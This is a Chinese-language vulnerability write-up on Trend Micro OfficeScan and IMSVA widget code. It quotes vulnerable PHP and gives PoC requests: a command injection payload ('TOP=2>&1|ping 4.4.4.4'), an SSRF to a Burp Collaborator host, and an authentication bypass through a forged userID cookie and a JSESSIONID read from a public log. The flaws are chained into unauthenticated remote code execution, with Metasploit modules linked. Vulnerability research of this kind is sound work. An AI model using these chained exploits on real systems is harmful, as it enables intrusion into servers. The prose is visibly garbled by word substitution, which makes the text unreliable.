秒杀科技公司多款产品的RCE漏洞破绽bug揭秘

框架的网安性曾经愈来愈惹起网安职员的存眷,比方Apache Struts案例中因为框架内繁多漏洞破绽bug所激发的网安打击想必人人早有耳闻。假如从产物供应商的角度来斟酌这类危险的话,咱们也能找到异常类似的情况。在本文中,我将向您展现若安在分歧的趋向科技产物长途履行代码,因为这些分歧产物都利用了雷同的代码库。
一个漏洞破绽bug通杀所有产物——趋向科技产物的Widget
大多数趋向科技的产物都为管理员网页供给了响应的widget。固然焦点体系是经由过程Java/.NET编写的,然则这个widget机制倒是用PHP完成的。这就意味着,每当利用widget时,响应的产物中必需植入PHP解释器。这对付攻击者来讲,的确就是一个完美的情况:因为各类分歧的产物中含有雷同的代码库,以是一旦从中发明了漏洞破绽bug,就能够或许顺遂搞定所有的产物。
因为下面提到的缘故原由,我对趋向科技OfficeScan产物的widget体系停止了一次代码考核。此次审计的成果一方面是异常风趣的,同时对我来讲也是可怜的,因为固然找到了6个分歧的漏洞破绽bug,但只要2个是0day。
在深刻懂得该漏洞破绽bug以前,我想先分享一下这个widget库的事情道理。
从头开端
这个widget框架有一个署理机制。简而言之,咱们有一个proxy_controller.php端点,它会接管用户供给的参数,而后依据用户的输出来挪用相干的类。
widget的范例紧张有两种:用户天生的widget和默许的widget。以下源代码取自proxy_controller.php文件。 
    if(!isset($g_GetPost)){
        $g_GetPost = array_merge($_GET,$_POST);
    }else{
        $g_GetPost = array_merge($g_GetPost,$_GET,$_POST);
    }
    // ... CODE OMIT ...
    $server_module = $g_GetPost['module'];
    $isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module);
    if(true === $isDirectoryTraversal){
        mydebug_log("Bad guy come in!!");
        proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
    }
    $intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0;
    if($intUserGeneratedInfoOfWidget == 1){
        $strProxyDir = USER_GENERATED_PROXY_DIR;
    }else{
        $strProxyDir = PROXY_DIR;
    }
    $myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
    //null byte injection prevents
    if( is_string( $myproxy_file ) ) {
        $myproxy_file = str_replace( "", '', $myproxy_file );
    }
                
    // does file exist?
    if(file_exists($myproxy_file)){
        include ($myproxy_file);
    }else{
        proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
    }
    // does class exist?
    if(! class_exists("WFProxy")){
        proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
    }
    // ... CODE OMIT ...
    $request = new WFProxy($g_GetPost, $wfconf_dbconfig);
    $request->proxy_exec();
    $request->proxy_output();
上述代码块将分离履行以下操纵。
1. 归并GET和POST参数,而后将它们存储到$ g_GetPost变量中。
2. 验证$ g_GetPost ['module']变量。
3. 而后经由过程检测$ g_GetPost ['userGenerated']参数来确定能否哀求由用户天生的窗口widget。
4. 包括所需的php类。
5. 作为末了一步,创立一个WFProxy实例,而后挪用proxy_exec()和proxy_output()办法。
基本上,咱们会有多个WFProxy完成,而具体援用哪个WFProxy完成则是由来自客户端的值所决定的。
好了,有了下面的常识做铺垫,接下来就能够或许深刻探究我发明的各类技能细节了,因为所有这些内容,都是对于若何利用分歧的类来通报参数的。
漏洞破绽bug#1——认证敕令注入
以下代码取自modTMCSS的WFProxy完成。 
          public function proxy_exec()
    {
      // localhost, directly launch report.php
      if ($this->cgiArgs['serverid'] == '1')
      {
              if($this->cgiArgs['type'] == "WR"){
                  $cmd = "php ../php/lwcs_report.php ";

                  $this->AddParam($cmd, "t");
                  $this->AddParam($cmd, "tr");
                  $this->AddParam($cmd, "ds");
                  $this->AddParam($cmd, "m");
                  $this->AddParam($cmd, "C");
                  exec($cmd, $this->m_output, $error);
                  if ($error != 0)
                  {
                      $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
                      $this->errMessage = "exec lwcs_report.php failed. err = $error";
                  }
              }
              else{       
                  $cmd = "php ../php/report.php ";
                  $this->AddParam($cmd, "T");
                  $this->AddParam($cmd, "D");
                  $this->AddParam($cmd, "IP");
                  $this->AddParam($cmd, "M");
                  $this->AddParam($cmd, "TOP");
                  $this->AddParam($cmd, "C");
                  $this->AddParam($cmd, "CONSOLE_LANG");
                  exec($cmd, $this->m_output, $error);
                  if ($error != 0)
                  {
                      $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
                      $this->errMessage = "exec report.php failed. err = $error";
                  }
              }
      }
    private function AddParam(&$cmd, $param)
    {
      if (isset($this->cgiArgs[$param]))
      {
        $cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";
      }
    }
明显,咱们有可能从这里找到一个敕令注入漏洞破绽bug。然则咱们还面对一个成绩:咱们可以或许节制$this-> cgiArgs数组吗? 谜底是确定的。假如回想一下后面的代码,你会发明$request = new WFProxy($g_GetPost,$wfconf_dbconfig),是以$g_GetPost是完整可控的。
每个WFProxy类都承继自ABaseProxy形象类;下面是这个基类的__construct办法的前两行代码。
    public function __construct($args, $dbconfig){
            $this->cgiArgs = $args;
这意味着,$this->cgiArgs间接是经由过程GET和POST参数停止添补的。
PoC
    POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1

 

    Host: 12.0.0.184
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
    Cookie:; LogonUser=root; wf_CSRF_token=fb5b76f53eb8ea670c3f2d4906ff1098; PHPSESSID=edir98ccf773n7331cd3jvtor5;
    X-CSRFToken: fb5b76f53eb8ea670c3f2d4906ff1098
    ctype: application/x-www-form-urlencoded; charset=utf-8
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 6102
    module=modTMCSS&serverid=1&TOP=2>&1|ping 4.4.4.4
紧张提醒:当exec()函数用于第二和第三个函数参数时,假如要利用管道技能的话,则只必要胜利履行第一个敕令便可。这时候,咱们的敕令将酿成php ../php/lwcs_report.php TOP = 2>&1 | ping 4.4.4.4。此中,这里利用2>&1是为了诱骗exec()函数,因为咱们在产物基本就没有lwsc_report.php这个剧本。是以,敕令的第一部分老是前往command not found差错。
可怜的是,我意想到这个漏洞破绽bug是由Source Incite的Steven Seeley发明的;而且,在几个星期前,供应商就宣布了响应的补钉(http://www.zerodayinitiative.com/advisories/ZDI-17-521/)。 依据该补钉倡议来看,必要停止身份验证以后能力利用该漏洞破绽bug。别的,我找到了一种办法,可以或许来绕过身份验证,今朝这类漏洞破绽bug利用办法照样一个0day。 对于这个0day的具体先容,请参考漏洞破绽bug#_6。
漏洞破绽bug#2#3#4——泄漏私钥 & 地下拜访Sqlite3 & SSRF
另一名研究职员(John Page,别名hyp3rlinx)也发明了这些漏洞破绽bug。不外,这些漏洞破绽bug并不是本文的重点存眷工具,以是不做先容。对付这些漏洞破绽bug的技能细节感兴趣的读者,可以或许拜访下面的链接https://www.exploit-db.com/exploits/42920/。
漏洞破绽bug#5——办事端哀求捏造(0day)
您还记得以条件到过的那两种范例的widget(用户天生的widget和体系widget)吗? 趋向科技在代码库中供给了一个默许用户天生的widget完成。它的名字是modSimple。我信任它确定还留在项目中,用来演示若何完成自定义widget。
下面是这个widget的proxy_exec()函数的完成代码。 
    public function proxy_exec() {
      $this->httpObj->setURL(urldecode($this->cgiArgs['url']));
      if( $this->httpObj->Send() == FALSE ) {
        //Handle Timeout issue here
        if($this->httpObj->getErrCode()===28)
        {
          $this->errCode = WF_PROXY_ERR_EXEC_TIMEOUT;
        }
        else
        {
          $this->errCode = WF_PROXY_ERR_EXEC_CONNECT;
        }
        $this->errMessage = $this->httpObj->getErrMessage();
      }
    }
咱们可以或许看到,它间接就利用了url参数,而没有停止任何验证。大概您还记得,$this-> cgiArgs ['url']是一个用户节制的变量。
PoC
    POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
    Host: 12.0.0.200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
    Accept: application/json
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    X-Request: JSON
    X-CSRFToken: o6qjdkto700a43nfslqpjl0rm5
    Content-type: application/x-www-form-urlencoded; charset=utf-8
    Referer: https://12.0.0.200:8445/widget/index.php
    Content-Length: 192
    Cookie: JSESSIONID=C2DC56BE1093D0232440A1E469D862D3; CurrentLocale=en-US; PHPSESSID=o6qjdkto700a43nfslqpjl0rm5; un=7164ceee6266e893181da6c33936e4a4; userID=1;; wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsvaQuarantineWidget%2CmodImsvaArchiveWidget%2C; lastID=4; cname=dashBoard; theme=default; lastTab=3; trialGroups=newmenu%0D%0AX-Footle:%20bootle
    X-Forwarded-For: 127.0.0.1
    True-Client-Ip: 127.0.0.1
    Connection: close
    module=modSimple&userGenerated=1&serverid=1&url=http://azdrkpoar6muaemvbglzqxzbg2mtai.burpcollaborator.net/
漏洞破绽bug#6 - 认证绕过漏洞破绽bug(0day)
后面说过,焦点体系是用Java/.NET编写的,然则这个widget体系是用PHP完成的。以是,这里最大的成绩是:
当哀求达到widget时,它们如何能力晓得用户曾经经由过程了身份验证呢?
答复这个成绩的最简单的办法是,跟踪Burp日记,反省用户能否了登岸了视图仪表板,因为登岸是经由过程widget停止的。以下HTTP POST哀求惹起了我的留意。 
    POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1

 

    Host: 12.0.0.175
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: session_expired=no;; LogonUser=root; wf_CSRF_token=c7ce6cd2ab50bd787bb3a1df0ae58810
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 59
    X-CSRFToken: c7ce6cd2ab50bd787bb3a1df0ae58810
    Content-Type: application/x-www-form-urlencoded
    cid=1&act=check&hash=425fba925bfe7cd8d80a8d5f441be863&pid=1
以下代码就是取自该文件。 
   if(!WF::getSecurityFactory()->getHttpToken()->isValidHttpHeaderToken()){
      make_error_response(WF_ERRCODE_HTTP_HEADER_TOKEN_ERR, WF_ERRCODE_HTTP_HEADER_TOKEN_ERR_MSG);
      exit();
    }
    // ... CODE OMIT ...
    if( $_REQUEST['act'] == "check" ) {
        mydebug_log("[LOGIN][check]");
        if( (!isset($_REQUEST['hash']) || $_REQUEST['hash'] == "") ) {
          make_error_response( LOGIN_ERRCODE_LACKINPUT, LOGIN_ERRCODE_LACKINPUT_MSG."(email)");
          exit;
        }
        // check user state
        $recovered = false;
        if( STANDALONE_WF ) {
          mydebug_log("[LOGIN][check] recover session STANDALONE");
          $recovered = $wfuser->standalone_user_init();
        } else {
          mydebug_log("[LOGIN][check] recover session PRODUCT");
          $recovered = $wfuser->product_user_init();
        }
        if( $recovered == false ) {
          mydebug_log("[LOGIN][check] recover session failed");
          make_error_response( LOGIN_ERRCODE_LOGINFAIL, LOGIN_ERRCODE_LOGINFAIL_MSG);
          exit;
        }
        mydebug_log("[LOGIN][check] recover session ok");
        /*
         * return the widgets of only first tab
         */
        $ckresult = $wfuser->check_result($_REQUEST['pid'],$_REQUEST['cid']);
        if( $ckresult == false ) {
          make_error_response( LOGIN_ERRCODE_DBERR, LOGIN_ERRCODE_DBERR_MSG);
        } else {
          mydebug_log("[LOGIN][check] check result: ".$ckresult);
          make_successful_response( LOGIN_OK_SUCCESS_MSG, $ckresult);
        }
        exit;
      }
起首,咱们在这里停止的是CSRF验证。但紧张的代码位于17-23行之间。 $wfuser-> standalone_user_init()和$wfuser-> product_user_init()卖力利用widget框架停止身份验证。下面,让咱们从第一个挪用开端先容。
这里有4个外部函数挪用序列。 
 public function standalone_user_init(){
        mydebug_log("[WFUSER] standalone_user_init()");
        if(isset($_COOKIE['userID'])){
            return $this->recover_session_byuid($_COOKIE['userID']);
        }
        mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
        return false;
    }
    public function recover_session_byuid($uid){

 

        mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
        if(false == $this->loaduser_byuid($uid)){
            mydebug_log("[WFUSER] recover_session_byuid() failed");
            return false;
        }
        return $this->recover_session();
    }
    public function loaduser_byuid($uid){
        mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
        // load user
        $uinfolist = $this->userdb->get_users($uid);
        if($this->userdb->isFailed()){
            return false;
        }
        // no exists
        if(! isset($uinfolist[0])){
            return false;
        }
        // get userinfo
        $this->userinfo = $uinfolist[0];
        return true;
    }
    public function get_users($uid = null){
        // specify uid
        $work_uid = $this->valid_uid($uid);
        if($work_uid == null){
            return;
        }
        // query string
        $sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
        $sqlvalues[':uid'] = $work_uid;
        return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);
    }
上述代码分离履行以下操纵。
1. 从cookie获得响应的值
2. 挪用loaduser_byuid()并将响应的值通报给该函数。
3. 用给定的值挪用get_users()函数。 假如该函数前往true,它将前往true,从而让后面的函数承继并挪用recover_session()函数。
4. get_users()函数将利用给定的独一id履行SQL查问。
$wfuser-> product_user_init()函数序列几乎没有甚么变更。 $wfuser-> standalone_user_init()和$wfuser-> product_user_init()之间的独一差别就是第一个函数利用user_id,而第二个函数则利用username。
我在这里没有看到任何身份验证。乃至连hash参数都没有利用。以是利用雷同的变量挪用这个端点将顺遂经由过程身份验证。
一个漏洞破绽bug搞定所有产物(Metasploit Module)
如今咱们发明了两个漏洞破绽bug。第一个是近来修补的敕令注入漏洞破绽bug,第二个是widget体系的身份验证绕过漏洞破绽bug。假如将这些漏洞破绽bug组合起来,咱们就能在没有任何身份凭据的情况下履行操纵体系的敕令。
下面是响应的metasploit模块的演示。 (https://github.com/rapid7/metasploit-framework/pull/9052)

雷同的代码/漏洞破绽bug:趋向科技InterScan Messaging Security产物的RCE漏洞破绽bug
在这个widget框架方面,InterScan Messaging Security和OfficeScan的差别之一就是..门路!
OfficeScan的widget框架门路:
https://TARGET/officescan/console/html/widget/proxy_controller.php
IMSVA widget 框架的门路:
https://TARGET:8445/widget/proxy_controller.php
另一个紧张差别就是widget认证。对付talker.php来讲,IMSA轻微有些分歧,具体以下所示。 
    if(!isset($_COOKIE["CurrentLocale"]))
    {
        echo $loginscript;
        exit;
    }
    $currentUser;
    $wfsession_checkURL="Https://".$_SERVER["SERVER_ADDR"].":".$_SERVER["SERVER_PORT"]."/WFSessionCheck.imss";
    $wfsession_check = new WFHttpTalk();
    $wfsession_check->setURL($wfsession_checkURL);
    $wfsession_check->setCookies($_COOKIE);
    if(isset($_COOKIE["JSESSIONID"]))
        mydebug_log("[product_auth] JSEEEIONID:".$_COOKIE["JSESSIONID"]);
    $wfsession_check->Send();
    $replycode = $wfsession_check->getCode();

 

    mydebug_log("[product_auth]reply code-->".$replycode);
    $replybody = $wfsession_check->getBody();
    mydebug_log("[product_auth]reply body-->".$replybody);
    if($replycode != 200)
    { 
    mydebug_log("[product_auth] replycode != 200");
    echo $loginscript;
    exit;
    }
它从用户那边获得JSESSIONID的值,而后利用这个值向WFSessionCheck.imss发送HTTP哀求,在那边经由过程焦点Java利用停止用户身份验证。看起来,这似乎可以或许避免下面发明的身份验证绕过漏洞破绽bug,但实际上并不是如此。为此,咱们必要细心研读下面的代码:纵然哀求中不存在JSESSIONID的时刻,上述代码也会利用JSESSIONID来挪用mydebug_log()函数。
请留意,该日记文件是可经由过程Web办事器地下拜访的。

https://12.0.0.201:8445/widget/repository/log/diagnostic.log
以是,要想利用OfficeScan中的漏洞破绽bug的话,咱们只必要增加一个额定的步调便可。也就是说,咱们必要读取这个日记文件的内容,以便提取有用的JSESSIONID值,而后利用它来绕过身份验证。
下面是响应的metasploit模块的演示。 (https://github.com/rapid7/metasploit-framework/pull/9053)

小结
起首,我想再次重申,趋向科技曾经为这两种产物中的敕令注入漏洞破绽bug供给了网安补钉。 是以,假如您是趋向科技用户,或您的构造正在利用这些产物的话,请立即行为起来。
固然,在分歧的产物中利用雷同的代码库其实不是甚么好事。本文只是想指出,在这类情况下,框架中的一个bug就可能会惹起很大的费事。
那末,究竟有若干分歧的产物受这个漏洞破绽bug影响呢?
我不晓得,因为今朝仅仅反省了这两个产物。固然,假如有光阴的话,我还会反省其余产物。